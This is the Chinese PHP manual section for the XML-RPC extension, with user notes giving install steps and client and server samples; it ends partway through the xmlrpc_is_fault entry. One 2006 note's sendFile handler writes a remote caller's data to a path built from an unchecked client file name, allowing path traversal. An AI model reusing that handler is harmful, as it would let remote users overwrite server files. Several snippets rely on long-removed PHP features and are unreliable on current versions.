以上示例的输出类似于：

...

参见

  • Yaf_Server_Exception::getType()

User Contributed Notes

There are no user contributed notes for this page.


XML-RPC

  • 简介
  • 安装/配置
    • 需求
    • 安装
    • 运行时配置
    • 资源类型
  • 预定义常量
  • XML-RPC 函数
    • xmlrpc_decode_request — 将 XML 解码为原生 PHP 类型
    • xmlrpc_decode — 将 XML 解码为原生 PHP 类型
    • xmlrpc_encode_request — 为方法请求生成 XML
    • xmlrpc_encode — 为 PHP 值生成 XML
    • xmlrpc_get_type — 获取 PHP 值的 xmlrpc 类型
    • xmlrpc_is_fault — Determines if an array value represents an XMLRPC fault
    • xmlrpc_parse_method_descriptions — 将 XML 解码为方法描述列表
    • xmlrpc_server_add_introspection_data — 添加自我描述文档
    • xmlrpc_server_call_method — 解析 XML 请求和调用方法
    • xmlrpc_server_create — 创建 xmlrpc 服务器
    • xmlrpc_server_destroy — 销毁服务端资源
    • xmlrpc_server_register_introspection_callback — 注册 PHP 函数来生成文档
    • xmlrpc_server_register_method — 注册 PHP 函数搭到资源用于匹配 method_name
    • xmlrpc_set_type — 为 PHP 字符串值设置 xmlrpc 类型，base64 或 datetime

User Contributed Notes

There are no user contributed notes for this page.


简介

这些函数可用于编写 XML-RPC 服务端和客户端。可以在 » http://www.xmlrpc.com/ 找到有关 XML-RPC 的更多信息，并在 » http://xmlrpc-epi.sourceforge.net/ 找到有关此扩展及其函数的更多文档。

Warning

此扩展是实验性的。 此扩展的行为，包括其函数的名称和围绕此扩展的相关文档都可能会在未来的 PHP 版本中发生变化而不另行通知。使用本扩展应自行承担风险。

User Contributed Notes

giunta dot gaetano at gmail dot com 29-Dec-2020 01:21
If you have troubles installing the php extension, there is an alternative package which tries to implement the same API  as pure-php library and can be installed via Composer: phpxmlrpc/polyfill-xmlrpc


安装

PHP 默认不启用 XML-RPC 支持。编译 PHP 时需要使用 --with-xmlrpc[=DIR] 配置项才能启用 XML-RPC 支持。

User Contributed Notes

boldizar dot santo at gmail dot com 02-Aug-2023 08:23
For Linux Mint use the next cli command:
sudo apt-get install php-xmlrpc;
sudo service apache2 restart;
Lars 06-Mar-2023 08:51
Since PHP 8.0 the xmlrpc extension is not shipped with php any more.
Go to https://pecl.php.net/package/xmlrpc and download the latest version.

For linux you might use something like that:

$ wget https://pecl.php.net/get/xmlrpc-1.0.0RC3.tg
$ tar xfv xmlrpc-1.0.0RC3.tg
$ cd xmlrpc-1.0.0RC3
$ phpize && ./configure && make && make test && make install

Add the build extension in your php.ini section and don't forget to restart php-fpm or your webserver after the installation.

To verify the installation, you can use something like this (should at least return the line "xmlrpc"):
$ php -i | grep xmlrpc | grep -v "xmlrpc_error"
georgemilojevic at gmail dot com 11-Oct-2022 10:30
# For MacOS users (using M1 machine - Version: 12.5.1)

brew install pkg-config

pecl install channel://pecl.php.net/xmlrpc-1.0.0RC3

Then restart your apache, the extensions should be automatically added to php.ini and the output of phpinfo() should show it now
Clive 13-Apr-2022 10:41
Unless my host has deliberately installed it, PHP 8.0.17 still has xmlrpc included (1.0.0RC3).
pitje 31-Jan-2021 07:40
according to php(dot)watch/versions/8.0/xmlrpc ,
PHP 8.0: XMLRPC extension is moved to PECL

checked, xmlrpc-1.0.0RC2 works for me
giunta dot gaetano at gmail dot com 29-Dec-2020 01:18
Here's what I had to do in order to install the xmlrpc extension on php 8 (from sury repos) on Ubuntu 16, as there is no package available via pecl or apt:

# build
git clone https://git.php.net/repository/pecl/networking/xmlrpc.git
export CPPFLAGS=-I/usr/include/libxml2/
cd xmlrpc && phpize && ./configure --with-expat && make && make install

# enable - this varies depending on your configuration; apache/nginx/fpm will also need to be restarted
echo "extension=xmlrpc.so" > /etc/php/8.0/mods-available/xmlrpc.ini
ln -s /etc/php/8.0/mods-available/xmlrpc.ini /etc/php/8.0/cli/conf.d/20-xmlrpc.ini
ln -s /etc/php/8.0/mods-available/xmlrpc.ini /etc/php/8.0/fpm/conf.d/20-xmlrpc.ini
Anonymous 15-Dec-2020 02:11
for centos try:
yum install php-xmlrpc


资源类型

This extension defines a XML-RPC server resource returned by xmlrpc_server_create().

User Contributed Notes

There are no user contributed notes for this page.


XML-RPC 函数

Table of Contents

  • xmlrpc_decode_request — 将 XML 解码为原生 PHP 类型
  • xmlrpc_decode — 将 XML 解码为原生 PHP 类型
  • xmlrpc_encode_request — 为方法请求生成 XML
  • xmlrpc_encode — 为 PHP 值生成 XML
  • xmlrpc_get_type — 获取 PHP 值的 xmlrpc 类型
  • xmlrpc_is_fault — Determines if an array value represents an XMLRPC fault
  • xmlrpc_parse_method_descriptions — 将 XML 解码为方法描述列表
  • xmlrpc_server_add_introspection_data — 添加自我描述文档
  • xmlrpc_server_call_method — 解析 XML 请求和调用方法
  • xmlrpc_server_create — 创建 xmlrpc 服务器
  • xmlrpc_server_destroy — 销毁服务端资源
  • xmlrpc_server_register_introspection_callback — 注册 PHP 函数来生成文档
  • xmlrpc_server_register_method — 注册 PHP 函数搭到资源用于匹配 method_name
  • xmlrpc_set_type — 为 PHP 字符串值设置 xmlrpc 类型，base64 或 datetime

User Contributed Notes

digibrisk at gmail dot NOSPAM dot SPAMNO dot com 05-Oct-2007 03:24
Adding to what giunta dot gaetano at sea-aeroportimilano dot it and astrolox at lawyersonline dot co dot uk said about the Sourceforge PHP XML-RPC project: You can probably use function_exists() to determine whether the extension is installed so you don't have to incur performance costs. If it's not installed, then the function won't exist, and function_exists() returns false. You can then fall back on the alternative library if that's the case. For example:

<?php

if(!function_exists("xmlrpc_server_create")) {
    // include necessary files.
}

?>
handco at gmail dot com 20-Feb-2007 08:19
Hi,

A little snippet to implement OO XML RPC Server.

File RPCPlugin.php :

class RPCPlugins {

    private $plugins;

    function __construct ($pathname, $rpcServer) {
        $d = dir($pathname);
        while (($file = $d->read()) !== false) {
            if (ereg('(.*)\.php$', $file, $regs)) {
                include_once ($pathname . '/' . $file);
                $class=$regs[1];
                $this->plugins = new $class($rpcServer);
            }
        }
    }

}

class RPCPlugin {

    private $_rpcServer;

    function __construct($rpcServer) {
        $this->_rpcServer = $rpcServer;

        $methods = get_class_methods($this);

        foreach ($methods as $method) {
            if (substr($method, 0,1) != '_') {
                xmlrpc_server_register_method($rpcServer,get_class($this) . "." . $method,array(&$this,$method));
            }
        }

    }

}

An example of plugin in plugins/Test.php  :

 class Test extends RPCPlugin {

     function HelloWorld ($method, $params) {
         return "Hello World --->>" . $params[0];
     }

 }

Now the real server :

require_once 'RPCPlugin.php';

 $rpcServer = xmlrpc_server_create();

$plugins = new RPCPlugins(realpath('plugins/'), $rpcServer);

 $resp = xmlrpc_server_call_method($rpcServer,$HTTP_RAW_POST_DATA,null);
 if ($resp) {
     header ('Content-Type: text/xml');
     echo $resp;
 }
 xmlrpc_server_destroy($rpcServer)

Then you can call ethod by classname.method.
For this sample Test.HelloWorld

Hn'Co
giunta dot gaetano at sea-aeroportimilano dot it 13-Sep-2006 06:40
If you need to use this extension but are stuck on a server where it can not be installed, the php-xmlrpc library found at http://phpxmlrpc.sourceforge.net includes an emulation layer that aims to be 100% compatible with the API of the native extension (as part of the "extras" package since version 0.2).
This means your code should be able to run unmodified on top of the php-xmlrpc library. Of course performance will be at least an order of magnitude worse...
keithNO dot SPAMthornhill at gmail dot com 17-May-2006 02:16
for others attempting the same thing, here is what a function would look like if you wanted to send a base64 encoded file from a client and then save it onto the server. the other code necessary to call this function via an RPC is available in other comments so i won't repeat it.

parameters:
1 - name of file
2 - base64 encoded data of file

note the use of $file_data->scalar

<?
    function sendFile($method_name, $params, $user_data) {
        $file = "/somedir/" . $params[0];
        $file_data = $params[1];

        $fh = @fopen($file, "wb");
        if ($fh) {
            if (@fwrite($fh, $file_data->scalar)) {
                $msg = "success msg";
            } else {
                $msg = "couldn't write to file";
            }
            fclose($fh);
            return $msg;
        } else {
            return "couldn't open file";
        }
    }
?>
09-Mar-2006 12:47
This XML-RPC Service makes the use XML-RPC very esay.

<?php

/**
* function myfun() returns
*@return array
*/
function myfunc(){
    return $some_array;
}

$ws = new XML_RPC_Server();
$ws->registerFunction('myfunc');
$ws->run();

?>

http://www.pure-php.de/node/31

It creates also a simple docu.
http://www.pure-php.com/php/service.php?doc
john # curioussymbols com 19-Oct-2005 04:37
I couldn't make the 'xmlrpc_errors' php.ini setting do anything
noticeable (PHP 4.3.11), so I used the following code to report errors
from my XMLRPC server. Hope it's helpful for someone.

<?php
function return_xmlrpc_error($errno,$errstr,$errfile=NULL,$errline=NULL
       ,$errcontext=NULL){
    global $xmlrpc_server;
    if(!$xmlrpc_server)die("Error: $errstr in '$errfile', line '$errline'");

    header("Content-type: text/xml; CHARSET=gb2312");
    print(xmlrpc_encode(array(
        'faultCode'=>$errno
        ,'faultString'=>"Remote XMLRPC Error from
          ".$_SERVER['HTTP_HOST'].": $errstr in at $errfile:$errline"
    )));
    die();
}
set_error_handler('return_xmlrpc_error');
?>

In my server function, I just trigger_error("message",E_USER_ERROR)]
 if something can't be completed.

Then on the client side,
<?php
        $data =& xmlrpc_decode($response['body']);

        if(xmlrpc_is_fault($data)){
            trigger_error($data['faultString'],E_USER_ERROR);
        }
?>
martin dot rode at programmfabrik dot de 04-Aug-2005 05:28
To connect to a python xmlrpc server I use:

function do_call($host, $port, $request) {

    $url = "http://$host:$port/";
    $header[] = "Content-type: text/xml";
    $header[] = "Content-length: ".strlen($request);

    $ch = curl_init();
    curl_setopt($ch, CURLOPT_URL, $url);
    curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
    curl_setopt($ch, CURLOPT_TIMEOUT, 1);
    curl_setopt($ch, CURLOPT_HTTPHEADER, $header);
    curl_setopt($ch, CURLOPT_POSTFIELDS, $request);

    $data = curl_exec($ch);
    if (curl_errno($ch)) {
        print curl_error($ch);
    } else {
        curl_close($ch);
        return $data;
    }
}

$request = xmlrpc_encode_request('add', array(3, 4));
$response = do_call($host, $port, $request);
astrolox at lawyersonline dot co dot uk 22-Mar-2005 04:20
The PHP XML-RPC project at SourceForge makes life a hell of a lot easier. However, the project uses some function names which are identical to thoses provided by the XML-RPC extention.

If you are on a server with XML-RPC extension compiled in but wish to use the PHP based version then you will have to rename some of the functions.

I notice that sourceforce says there is activity on the project in 2005 but the last release was January 12, 2003.

I recommend that you use this not so friendly PHP extention if available. However this sourceforce project is still a good idea if you don't control which extenions are be available on the server.

http://phpxmlrpc.sourceforge.net/
Jerome Delamarche 14-Oct-2004 02:58
The documentation lacks an example that shows how to send a fault in a response. Here is how to do it:

$args = array("faultCode" => $errcode, "faultString" => $errmsg);
$resp = xmlrpc_encode_request(NULL,$args);
//echo $resp;
php at hendrik-krauss dot de 13-Aug-2004 12:38
On "datetime" values:

If you implement an XML-RPC server with these functions and a client calls a method on your server, sending a datetime as parameter (in ISO 8601 format, as specified at http://www.xmlrpc.com/spec), the PHP XML-RPC will pass your registered server method an object as parameter. That object, for example, looks like:
obj->type="datetime"
obj->scalar="20040420T13:32:40"
obj->timestamp=1082460760

If you do xmlrpc_get_type(obj), it will return "datetime", so presumably that function just returns the value of 'type'. 'scalar' seems to be the on-the-wire representation of the datetime (ISO 8601, exactly as received). 'timestamp' appears to be the ISO value in 'scalar' converted into a normal PHP timestamp (i.e. Unix time_t).

Note on 'scalar': Using a MySQL DB, we did something like  "select blah where start_time >= $obj->scalar ;". That actually worked and returned expected results, so MySQL appears to handle that ISO 8601 format correctly.
swunderlin at REMOVE-telemedia dot ch 09-Jun-2004 03:20
pear hs an XML_RPC package, if you can't recompile your php:
http://pear.php.net/package/XML_RPC
steph at zend dot com 08-Jun-2004 04:04
It took me a while to get a client together without external libraries.  This very basic client/server pair works on my home set-up - hopefully it will save the next xml-rpc virgin some grief.

/* clienttest.php */
<?php
function do_call($host, $port, $request) {

    $fp = fsockopen($host, $port, $errno, $errstr);
    $query = "POST /home/servertest.php HTTP/1.0\nUser_Agent: My Egg Client\nHost: ".$host."\nContent-Type: text/xml\nContent-Length: ".strlen($request)."\n\n".$request."\n";

    if (!fputs($fp, $query, strlen($query))) {
        $errstr = "Write error";
        return 0;
    }

    $contents = '';
    while (!feof($fp)) {
        $contents .= fgets($fp);
    }

    fclose($fp);
    return $contents;
}

$host = 'localhost';
$port = 80;
$request = xmlrpc_encode_request('cycle', 'egg');
$response = do_call($host, $port, $request);
/* do something with $response, e.g. print it */
?>

/* servertest.php */
<?php
function lifecycle($method, $params) {
/* $method = 'cycle', $params = (array of) request parameter(s); $data is also passed from xmlrpc_server_call_method, if we had any data to pass */
    switch($params[0]) {
        case 'egg':
            $reply = 'All eggs will be birds one day.';
        break;
        default:
            $reply = 'That must have been an otheregg';
    }
    return $reply;
}

$server = xmlrpc_server_create();

/* register the 'external' name and then the 'internal' name */
xmlrpc_server_register_method($server, "cycle", "lifecycle");

$request = $HTTP_RAW_POST_DATA; // no you don't need 'always on', and no $_POST doesn't work.

/* the parameters here are 'server, xml-string and user data'.  There's supposed to be an optional 'output options' array too, but I can't get it working :( hence header() call */
$response = xmlrpc_server_call_method($server, $request, null);
header('Content-Type: text/xml');
print $response;

xmlrpc_server_destroy($server);
?>
mboeren at php dot net 25-Feb-2004 04:34
Just a quick addition to my previous xmlrpc_client class: since you cannot use remote methods containing capital letters or methods from subhandlers (like 'system.listMethods()'), I added a 'call(...)' method to the class.

<?php
    // this method should be copy/pasted in the
    // xmlrpc_client class

    function call($function)
    {
        $return = NULL;
        $argv = func_get_args();
        array_shift($argv); // remove function argument
        $this->__call($function, $argv, &$return);
        return $return;
    }

    // now, you can also do
    $result = $client->call('system.listMethods');
    $sum = client->call('add', '1', '2');
?>
mboeren at php dot net 24-Feb-2004 07:01
I use the following code (requires the overload extension) to make developing clients easier:

<?php
include("utils/utils.php"); // from xmlrpc-epi utils

/*
Usage:
    $client = new xmlrpc_client("http://localhost:7080");
    print $client->echo('x')."\n";
    print $client->add(1, 3)."\n";

*/
class xmlrpc_client
{
    var $url;
    var $urlparts;

    function xmlrpc_client($url)
    {
        $this->url = $url;
        $this->urlparts = parse_url($this->url);
        foreach(array('scheme', 'host', 'user', 'pass', 'path',
                      'query', 'fragment')
                as $part) {
            if (!isset($this->urlparts[$part])) {
                $this->urlparts[$part] = NULL;
                }
            }
    }

    function __call($function, $arguments, &$return)
    {
        $requestprms['host'] = $this->urlparts['host'];
        $requestprms['port'] = $this->urlparts['port'];
        $requestprms['uri'] = $this->urlparts['path'];
        $requestprms['method'] = $function;
        $requestprms['args'] = $arguments;
        $requestprms['debug'] = 0;
        $requestprms['timeout'] = 0;
        $requestprms['user'] = NULL;
        $requestprms['pass'] = NULL;
        $requestprms['secure'] = 0;

        $result = xu_rpc_http_concise($requestprms);
        if (is_array($result) && isset($result['faultCode'])) {
            print('Error in xmlrpc call \''.$function.'\''."\n");
            print('  code   : '.$result['faultCode']."\n");
            print('  message: '.$result['faultString']."\n");
            return false;
            }
        $return = $result;
        return true;
    }

}
overload('xmlrpc_client');

?>
bmichael at goldparrot dot com 08-Feb-2003 09:52
If anyone is interested in making XMLRPC requests directly from the client, I have been able to get xmlrpc to
work with vcXMLRPC javascript backend.

After about 1 week of scanning the market, I found this solution to be the best on Javascript back end.  It uses the Microsoft.HTTP activeX control for IE, or HTTPRequest Object for Mozilla.

You include vc(Virtual Cowboys) vcXMLRPC.js file into your pages and make the rpc calls from with javascript to create the requests.

It works both ways.

Two Notes:

I have tested it on IE 6.02 and you need to change lines in ProcessRequest :
function to read:

  dom = this.getObject("XMLDOM",http.responseText);

and change the getObject function to use the latest ActiveX Control:

 MSXML2.XMLHTTP.3.0  (or 4.0)
 MSXML2.DOMDocument.3.0  (or 4.0)

The controls are found on MSDN in the Web Services -> XML area.

As another note, you DO NOT NEED the rpcproxy.cgi script to use this.  That is a proxy script to get around JS Security.  You can use PHP to build the proxy.  But, I was able to get the CGI working with GCC compiler on Solaris (change the -KPCI, depend and -x03 optimizer settings in the Makefile )
steve at orangeNOSPAMimagineering dot com 24-Aug-2002 01:32
There's a handy library by Keith Devens (version 2.2.1) at
http://www.keithdevens.com/software/xmlrpc/

Here is a sample client. It remotely calls sample.sumAndDifference
with two parameters (3 and 5).
It returns:

sum => 8
difference => -2

<?php
include ("kd_xmlrpc.php");
// define("XMLRPC_DEBUG", 0);    // Set to 1 for handy debugging

$method = "sample.sumAndDifference";
$params = XMLRPC_prepare(array(3,5));

$site = "xmlrpc-c.sourceforge.net";
$location = "/api/sample.php";

list($success, $result) = XMLRPC_request( $site, $location, $method, $params );

// XMLRPC_debug_print();    // uncomment for debugging

foreach ( $result as $key => $value ) {
          echo(" $key => $value \n");
}

?>
hfuecks at pinkgoblin dot com 15-Aug-2002 08:32
This extension does not handle the process of making making XML-RPC client requests via HTTP; it only prepares the XML-RPC request payload.

This differs from many other XML-RPC implementations but offers greater flexibility, allowing SSL connections, authentication headers and XML-RPC via other transports like SMTP.
ivanr at webkreator dot com 21-Jun-2002 11:50
For a really easy way to use this XML-RPC extension take a look at

XML-RPC Class Server (http://www.webkreator.com/php/xcs/)

It automatically creates servers out of PHP classes. Creating clients is almost as easy, especially with the recent addition of the overload extension to PHP (see http://www.php.net/manual/en/ref.overload.php).
nic at uklinux dot NOSPAM dot net 24-Apr-2002 09:05
An alternative XML-RPC implementation is available at http://xmlrpc.usefulinc.com - it's written in PHP so you can use it on servers for which you don't have the luxury of rebuilding PHP on.

nic


将 XML 解码为原生 PHP 类型

  • ? XML-RPC 函数
  • xmlrpc_decode ?
  • PHP Manual
  • XML-RPC 函数
  • 将 XML 解码为原生 PHP 类型

xmlrpc_decode_request

(PHP 4 >= 4.1.0, PHP 5, PHP 7)

xmlrpc_decode_request — 将 XML 解码为原生 PHP 类型

说明

xmlrpc_decode_request(string $xml, string &$method, string $encoding = ?): mixed
Warning

此函数是实验性的。此函数的表象，包括名称及其相关文档都可能在未来的 PHP 发布版本中未通知就被修改。使用本函数风险自担。

Warning

本函数还未编写文档，仅有参数列表。

User Contributed Notes

e dot sand at elisand dot com 22-Jun-2009 08:20
This function works exactly the same as xmlrpc_decode() except it gives you access to the method being called as well (xmlrpc_decode() only outputs the params from the XML-RPC call).

To use this function, simply create an empty variable to store the method string in, and then pass by reference like so:

<?php
$method = null;
$params = xmlrpc_decode_request('<xml rpc request>', &$method);
?>

What you will get back are the params stored in $params, and $method will have the method being requested.


将 XML 解码为原生 PHP 类型

  • ? xmlrpc_decode_request
  • xmlrpc_encode_request ?
  • PHP Manual
  • XML-RPC 函数
  • 将 XML 解码为原生 PHP 类型

xmlrpc_decode

(PHP 4 >= 4.1.0, PHP 5, PHP 7)

xmlrpc_decode — 将 XML 解码为原生 PHP 类型

说明

xmlrpc_decode(string $xml, string $encoding = "iso-8859-1"): mixed
Warning

此函数是实验性的。此函数的表象，包括名称及其相关文档都可能在未来的 PHP 发布版本中未通知就被修改。使用本函数风险自担。

参数

xml

XMLRPC 方法返回的 XML 响应。

encoding

iconv 支持的输入编码。

返回值

根据 XMLRPC 方法的响应返回数组、整数、字符串或布尔值。

示例

参阅 xmlrpc_encode_request() 示例。

参见

  • xmlrpc_encode_request() - 为方法请求生成 XML
  • xmlrpc_is_fault() - Determines if an array value represents an XMLRPC fault

User Contributed Notes

Alwin 18-May-2016 02:24
Note that from libxml 2.7.9+ there is a limit of 10MB for the XML-RPC response.

If the response is larger, xmlrpc_decode will simply return NULL.

There is currently no way to override this limit like we can with the other xml functions (LIBXML_PARSEHUGE)
carmageddon at gmail dot com 03-Jun-2013 07:42
Apparently there is a slight problem with xmlrpc_decode (or php) which re-formats this input: <value><double>0.000000</double></value>

As the double number 0.

To get around it, use: number_format($val, 2);
Output would be 0.00
phil dot berry at elise-international dot net 05-Sep-2011 08:09
Make sure the server isn't returning a string with a space for the first character, this fails in version 5.3.3 and the function returns null (though seems to be ok in 5.2).

Easily sorted by  trimming the response data:

<?php xmlrpc_decode( trim($response) ); ?>
ryon dot sherman at gmail dot com 21-Aug-2009 04:18
64 bit (i8) integers are not parsed by xmlrpc_decode().
Use a string replacement to work around this:

<?php

$xml = str_replace('i8>', 'i4>', $xml);

$decoded_xml = xmlrpc_decode($xml);

?>
david dot bachelart at polytechnique dot org 18-Jul-2004 08:18
Be careful with encodings, the xmlrpc-decode function is rather strict. For example, the following response parse returns NULL :

<?xml version="1.0"?>
<methodResponse>
   <params>
      <param>
         <value><string>a & b</string></value>
         </param>
      </params>
   </methodResponse>

You should use entities :
<?xml version="1.0"?>
<methodResponse>
   <params>
      <param>
         <value><string>a &amp; b</string></value>
         </param>
      </params>
   </methodResponse>

If your server does not encode responses properly, you may have to process responses before parse.
hfuecks at pinkgoblin dot com 16-Aug-2002 03:57
Use this with an XML-RPC client to decode a server response into native PHP variables. It will automatically translate the response XML-RPC data types into their PHP equivalents.

This function will return only false is there is any problem with format of the XML it receives.

The HTTP response header will need to be stripped off with something like;

<?php
$xml=(substr($response, strpos($response, "\r\n\r\n")+4));

$phpvars = xmlrpc_decode ($xml);
?>


为方法请求生成 XML

  • ? xmlrpc_decode
  • xmlrpc_encode ?
  • PHP Manual
  • XML-RPC 函数
  • 为方法请求生成 XML

xmlrpc_encode_request

(PHP 4 >= 4.1.0, PHP 5, PHP 7)

xmlrpc_encode_request — 为方法请求生成 XML

说明

xmlrpc_encode_request(string $method, mixed $params, array $output_options = ?): string
Warning

此函数是实验性的。此函数的表象，包括名称及其相关文档都可能在未来的 PHP 发布版本中未通知就被修改。使用本函数风险自担。

参数

method

要调用的方法名。

params

与方法签名兼容的方法参数。

output_options

指定输出选项的数组可能包含（强调默认值）：

  • output_type: php, xml

  • verbosity: no_white_space, newlines_only, pretty

  • escaping: cdata, non-ascii, non-print, markup (may be a string with one value or an array with multiple values)

  • version: simple, xmlrpc, soap 1.1, auto

  • encoding: iso-8859-1, other character set supported by iconv

返回值

返回包含请求的 XML 表示形式的字符串。

示例

Example #1 XMLRPC 客户端函数示例

<?php
$request = xmlrpc_encode_request("method", array(1, 2, 3));
$context = stream_context_create(array('http' => array(
'method' => "POST",
'header' => "Content-Type: text/xml",
'content' => $request
)));
$file = file_get_contents("http://www.example.com/xmlrpc", false, $context);
$response = xmlrpc_decode($file);
if ($response && xmlrpc_is_fault($response)) {
trigger_error("xmlrpc: $response[faultString] ($response[faultCode])");
} else {
print_r($response);
}
?>

参见

  • stream_context_create() - 创建资源流上下文
  • file_get_contents() - 将整个文件读入一个字符串
  • xmlrpc_decode() - 将 XML 解码为原生 PHP 类型

User Contributed Notes

Anonymous 27-Aug-2009 12:33
ever tried transmitting an array like the following with xmlrpc?
$var1=array(7=>14,9=>18);

The output array looks quite different! It will look like that:
$var2=array(14,18);

The only solution i found is to prepend a space to the index:
$var3=array(' 7'=>14,' 9'=>18);

Using that method you'll get the right result. ($var1)
cometfish at hotmail dot com 01-Sep-2008 12:47
The example above is incorrect - the header needs to be an array, see post by "chris dot vigelius at gmx dot net": http://au.php.net/manual/en/function.stream-context-create.php#74431
His post also shows how to do browser authentication, as below:
<?php
   $request = xmlrpc_encode_request("methodName", array("methodParam"));
   $auth = base64_encode($username.":".$password);
   $header = (version_compare(phpversion(), '5.2.8'))
     ? array("Content-Type: text/xml","Authorization: Basic $auth")
     : "Content-Type: text/xml\r\nAuthorization: Basic $auth" ; //[1]
   $context = stream_context_create(array('http' => array(
      'method' => "POST",
      'header' => $header,
      'content' => $request
   )));
   $webservice="http://www.example.com/rpc";
   $file = file_get_contents($webservice, false, $context);
   $response = xmlrpc_decode($file);
   if (xmlrpc_is_fault($response)) {
      return "xmlrpc: $response[faultString] ($response[faultCode])";
   } else {
      return $response;
   }
?>

1 - EDITOR NOTE: THIS IS A FIX FROM "SandersWang dt php at gmail dot com"
fredrik at it dot cdon dot com 06-Feb-2008 05:05
It should be noted that encoding does not seem to encode anything, just specify what goes into the XML header.

We had problems with double-encoded UTF strings being saved to database when using this function, sending it of to a apache xml-rpc servlet and storing it in mysql database. It was solved by setting 'escaping' to just 'markup' and 'encoding' to 'UTF-8' (don't forget to set 'utf-8' in xmlrpc_decode too).

It seems that UTF-8 encoded strings gets escaped with their bytes as entities instead of their characters as entites.
handco at gmail dot com 12-Mar-2007 08:39
Simple OO client with function Overload :

the php metho test_helloworld is translated to xmlrpc method test.helloworld.

class RpcClient {

    private $_methods;
    private $_context;
    private $_url;

    function __construct ($url, $user, $passwd) {
        $auth = base64_encode(sprintf('%s:%s', $user,$passwd));
        $this->_context = stream_context_create(array(
            'http' => array(
                'method' => 'POST',
                'header' => "Content-Type: text/xml\r\n".
                            "Authorization: Basic $auth" ,

            )
        ));
        $this->_url = $url;

        $this->registerMethod ("Test_HelloWorld");

    }

    function __call($methodName, $params) {
        if (array_key_exists($methodName,$this->_methods)) {
            // on appelle la fonction RPC
            $m = str_replace('_', '.', $methodName);
            $r = xmlrpc_encode_request($m, $params,array('verbosity'=>'newlines_only'));
            $c = $this->_context;
            stream_context_set_option($c,'http','content',$r);
            $f = file_get_contents($this->_url,false,$c);
            $resp = xmlrpc_decode($f);
            return $resp;
        } else {
            // on appelle la fonction de l'objet
            call_user_method_array($methodName, $this,$params);
        }
    }

    private function registerMethod ($method) {
        $this->_methods[$method] = true;
    }

}
giunta dot gaetano at sea-aeroportimilano dot it 21-Aug-2006 03:54
Take care that this function will generate invalid xmlrpc content when invoked with certain parameters (said content will be happily parsed by the lib itself, but not by other implementations).

xmlrpc_encode_request(null, null)
will generate a response without a value

xmlrpc_encode_request('myfunc', array('faultCode' => 666, 'faultString' => 'hello world')
will generated a request containing a <fault> member instead of <params>
php at hendrik dash krauss dot de 28-May-2005 02:29
For examples / documentation of the array output_options, see http://xmlrpc-epi.sourceforge.net/main.php?t=php_api#output_options

In short, output_options lets you send compact xmlrpc (without all the "pretty whitespace" xmlrpc_encode adds normally), apply an own escaping table prior to sending, set the encoding, and a couple of other things (the page even says something about soap 1.1 ... I don't know details).
<URL:http://www.dlitz.net/go/contact/> 03-May-2004 11:28
Note that as far as I can tell, the &#10; characters generated by PHP in the base64 fields don't appear to violate the XML-RPC standard at all.  XML-RPC messages *are* in XML format, and as such, the XML entities should be getting decoded before being passed to a base64 decoder.  So, the previously-mentioned Jakarta-based XML-RPC server appears to violate the XML spec.  i.e. There's nothing here that needs to be "fixed" in PHP.
kelly at seankelly dot biz 28-Dec-2002 04:02
Binary strings (set with xmlrpc_set_type) go into a <base64>...</base64> block like you'd expect. But after every 80th character, this function inserts the XML entity "&#10;", which is a Unicode newline, as if to cause a line-wrap, which is admittedly silly.

Silly though it may be, it causes real problems for some XML-RPC servers, such as http://jakarta.apache.org/xmlrpc/ (nee Helma). Stripping out those entities with something like

$req = preg_replace('/&#10;/', '', xmlrpc_encode_request("my.method", $args));

works around the problem.
hfuecks at pinkgoblin dot com 15-Aug-2002 09:06
This function should be used by an XML-RPC client to create an XML payload for an XML-RPC request;

<?php
$params = "system.methodSignature";
$method = "system.methodHelp";
$request = xmlrpc_encode_request($method,$params);
echo ( $request );
?>

Produces;

<?xml version='1.0' encoding="iso-8859-1" ?>
<methodCall>
<methodName>system.methodHelp</methodName>
<params>
 <param>
  <value>
   <string>system.methodSignature</string>
  </value>
 </param>
</params>
</methodCall>

The second argument recognises the type of variable and generates the correct XML-RPC structure. See xmlrpc_encode() for more details.


为 PHP 值生成 XML

  • ? xmlrpc_encode_request
  • xmlrpc_get_type ?
  • PHP Manual
  • XML-RPC 函数
  • 为 PHP 值生成 XML

xmlrpc_encode

(PHP 4 >= 4.1.0, PHP 5, PHP 7)

xmlrpc_encode — 为 PHP 值生成 XML

说明

xmlrpc_encode(mixed $value): string
Warning

此函数是实验性的。此函数的表象，包括名称及其相关文档都可能在未来的 PHP 发布版本中未通知就被修改。使用本函数风险自担。

Warning

本函数还未编写文档，仅有参数列表。

User Contributed Notes

There are no user contributed notes for this page.


获取 PHP 值的 xmlrpc 类型

  • ? xmlrpc_encode
  • xmlrpc_is_fault ?
  • PHP Manual
  • XML-RPC 函数
  • 获取 PHP 值的 xmlrpc 类型

xmlrpc_get_type

(PHP 4 >= 4.1.0, PHP 5, PHP 7)

xmlrpc_get_type — 获取 PHP 值的 xmlrpc 类型

说明

xmlrpc_get_type(mixed $value): string
Warning

此函数是实验性的。此函数的表象，包括名称及其相关文档都可能在未来的 PHP 发布版本中未通知就被修改。使用本函数风险自担。

该函数对于 base64 与日期时间字符串特别有用。

参数

value

PHP 值

返回值

返回 XML-RPC 类型。

示例

Example #1 XML-RPC 类型示例

<?php
echo xmlrpc_get_type(null) . "\n"; // base64
echo xmlrpc_get_type(false) . "\n"; // boolean
echo xmlrpc_get_type(1) . "\n"; // int
echo xmlrpc_get_type(1.0) . "\n"; // double
echo xmlrpc_get_type("") . "\n"; // string
echo xmlrpc_get_type(array()) . "\n"; // array
echo xmlrpc_get_type(new stdClass) . "\n"; // array
echo xmlrpc_get_type(STDIN) . "\n"; // int
?>

参见

  • xmlrpc_set_type() - 为 PHP 字符串值设置 xmlrpc 类型，base64 或 datetime

User Contributed Notes

hfuecks at pinkgoblin dot com 16-Aug-2002 10:41
This function returns the type of a PHP variable in XML-RPC terms. It won't "spot" base64 or iso8601 types unless they have been defined using xmlrpc_set_type().

For iso8601 type it returns "datetime".

Otherwise it returns strings corresponding directly the XML-RPC data types e.g. "struct","int","string","base64" etc.


Determines if an array value represents an XMLRPC fault

  • ? xmlrpc_get_type
  • xmlrpc_parse_method_descriptions ?
  • PHP Manual
  • XML-RPC 函数
  • Determines if an array value represents an XMLRPC fault

xmlrpc_is_fault

(PHP 4 >= 4.3.0, PHP 5, PHP 7)

xmlrpc_is_fault — Determines if an array value represents an XMLRPC fault

说明

xmlrpc_is_fault(array $arg): bool
Warning

此函数是实验性的。此函数的表象，包括名称及其相关文档都可能在未来的 PHP 发布版本中未通知就被修改。使用本函数风险自担。

参数

arg

